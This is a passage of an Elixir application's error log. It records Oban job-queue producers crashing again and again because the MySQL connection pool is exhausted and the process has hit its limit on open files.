    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:10:24.240593Z], limit: 50, uuid: "ebc7fd12-c909-4be4-8960-3a590dbe9c06", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:10:24.240598Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.49575>, refresh_timer: #Reference<0.2525715032.1077673987.24998>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:10:36.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1093ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:10:24.239191Z], limit: 20, uuid: "24c4b606-a199-4b9a-a62e-5b0300949eb6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:10:24.239197Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.49571>, refresh_timer: #Reference<0.2525715032.1099431938.49547>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:10:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 863ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:10:24.238978Z], limit: 5, uuid: "0492a50c-8d15-4a09-b855-f0011f74d7f1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:10:24.238985Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.49573>, refresh_timer: #Reference<0.2525715032.1099431938.49538>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:10:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1040ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:10:24.239261Z], limit: 10, uuid: "ddaaec9f-ceb3-42a3-9042-3fcdd602b5a2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:10:24.239266Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.49572>, refresh_timer: #Reference<0.2525715032.1099431938.49549>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:10:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 879ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:10:24.239500Z], limit: 3, uuid: "c3133c89-a33f-4715-9fb8-6445f73ecc54", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:10:24.239506Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.49576>, refresh_timer: #Reference<0.2525715032.1121189889.162931>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:10:36.247000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:10:36.858000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:10:36.923000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:10:38.373000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:10:40.548000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:10:43.831000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:10:46.949000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:10:48.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1027ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:10:36.241842Z], limit: 3, uuid: "4d5797e0-ace5-43f8-afe4-c9c8e340578d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:10:36.241847Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.49522>, refresh_timer: #Reference<0.2525715032.1099431938.49752>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:10:48.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 898ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:10:36.239116Z], limit: 5, uuid: "bccc575d-6913-4084-b255-0bf0e2cc1a82", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:10:36.239123Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.49520>, refresh_timer: #Reference<0.2525715032.1121189889.162990>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:10:48.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 842ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:10:36.239988Z], limit: 50, uuid: "b257e711-cb33-4377-aeca-514fee8ee3da", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:10:36.239993Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.49521>, refresh_timer: #Reference<0.2525715032.1121189889.163018>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:10:48.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1061ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:10:36.239759Z], limit: 20, uuid: "0b280eb0-dfb0-49d9-8baa-b5441f0b00f1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:10:36.239764Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.49518>, refresh_timer: #Reference<0.2525715032.1068498948.49498>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:10:48.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 843ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

